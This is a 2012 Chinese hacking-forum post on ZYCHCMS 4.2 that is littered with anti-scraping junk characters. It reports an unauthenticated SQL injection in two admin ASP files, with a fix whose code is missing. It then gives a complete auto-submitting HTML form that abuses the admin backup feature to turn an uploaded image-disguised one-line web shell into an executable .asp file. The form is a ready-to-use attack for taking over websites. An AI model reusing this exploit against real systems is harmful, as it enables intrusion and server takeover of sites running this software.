找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2066|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

0 ]- d8 _; i1 G8 ~0 }9 |
( b8 U& t8 s0 ]( R) Q) m! J( M. n& p3 v" ]: e9 Z6 L
; ]- C% @7 r1 ~' r* m0 O. c3 h
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
: z8 n; d9 j+ ?: r8 b9 ?3 T0 ` ①SQL注射漏洞3 I& S) R* J' v& ^" Y2 Q
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
6 h8 \# j6 D' f, \* C( a 漏洞原因:未过滤
; e! Q) O2 i1 f! Y 漏洞代码:
6 i' I: D# x) d- }8 M 都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。7 F" u3 w/ Y7 |; [/ [3 b
修复方法:在文件开头加入代码
$ J0 S! l' s. y, D  b. N
- k  g2 B% t9 |$ ~* _# W  j4 L7 S+ B7 s5 s2 n
②后台拿WBSHELL
$ y4 w+ o; V5 M8 i( ^1 M& C0 w 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
5 ?8 U- @  Q9 g. ?% z3 t0 R 这里在网上找了一个,改了下,将就着用。$ j. s4 a1 s1 J1 w# {5 z' b
以下是代码本地提交代码! [2 o1 g# g: N: b0 ?  y2 E
) @% d4 b% e3 }1 {3 m1 ^

  p0 L* E8 X% w1 c0 y0 \5 b) n<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
. ^9 s" {2 ^, h: N# k; l' ~ <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
/ X# m2 m4 t/ S* L <tr>
8 ?' ]% {, G7 f5 a* x0 x <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
0 |# X6 w+ m7 L! o5 ~8 B8 K" v </tr>
0 ]) P) \" d, M; ~# ~" q <tr>
( R" y! x( t0 z- Q <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
9 |' O5 r9 f9 l7 @ </span>3 \7 a) }: f8 b. r" m
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
1 v& v8 `, K$ D& n <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >$ e0 F, K+ n4 O, b' D) z/ f
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
" [2 z) H" e# d! ]( o& @8 ^ <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d5 m  N9 n- V  J: D% d
<div align=”left”>
+ c1 ~1 Y9 X7 h, @# e: o2 R <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
! C1 p9 S7 \8 P, _' y5 S; Y6 [ <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
" F+ t% F, Y7 V4 @0 M <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
+ |" w; G7 {; g' f8 o" S </div></td>
5 R! U6 x) k' P% g% V+ O </tr>
& X: E6 q2 N( c3 Z, K7 Q <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
: i; G, o' \2 u& _ <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
, }- I4 h' G  ?; m <td class=”td”><div align=”left”>
/ t' n0 b" c+ H) b  f( i; | <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
/ U3 ]0 K/ ^3 l5 P+ L [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
2 U1 J% g0 ]. L </tr>
+ _, a# q/ U1 X3 f" u <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
5 |2 g2 }- O9 s% }" r# j% p <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
! f2 u9 |& F3 S& B2 ^- {  y$ _4 A0 Y <td class=”td”><div align=”left”>& q# I7 M4 n! W7 s* O; p
<input type=”submit” value=”确定备份” class=”btn”- x# {: z" z1 J1 ^0 L  c
</div></td>9 e. z0 w4 _  I& w, z
</tr>
% p- e4 q/ _& ] </table></td></tr></form>
0 x7 q# x' I' `* C. E4 z1 q, e2 ^ </table>
$ g  i$ C$ ]6 z9 i. f% {( `; q </td>, x8 d3 p" J% M( G- j
</tr>
% q7 }- ], @& r1 V7 V- q/ H  T8 o+ R </table>
' k+ I% |- ~9 W* C/ v0 E <script>( Z; m3 S6 |% k2 G- c& Q
document.all.add.submit();
' I% |9 S; @8 m  _4 }( }+ _ </script>0 g! ?0 z' t$ z/ c& [( M! Y

, y) G* Q, J% A% a- T! u3 e* r8 T- L/ u9 P
. Q7 U3 {' H  n- C: [
0 Y; `% F! w. d. V8 m- C' J
. I: {5 h4 A$ I3 T. N

$ Y! _+ Y% M# [, F8 y4 d( m; ^
  z% |( i9 B  p. ]- W' ?/ N* y' [9 b( C6 I
9 l& x2 K7 ^9 E- o! Y9 [

  c& {- E' B6 E7 |9 r% k( m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表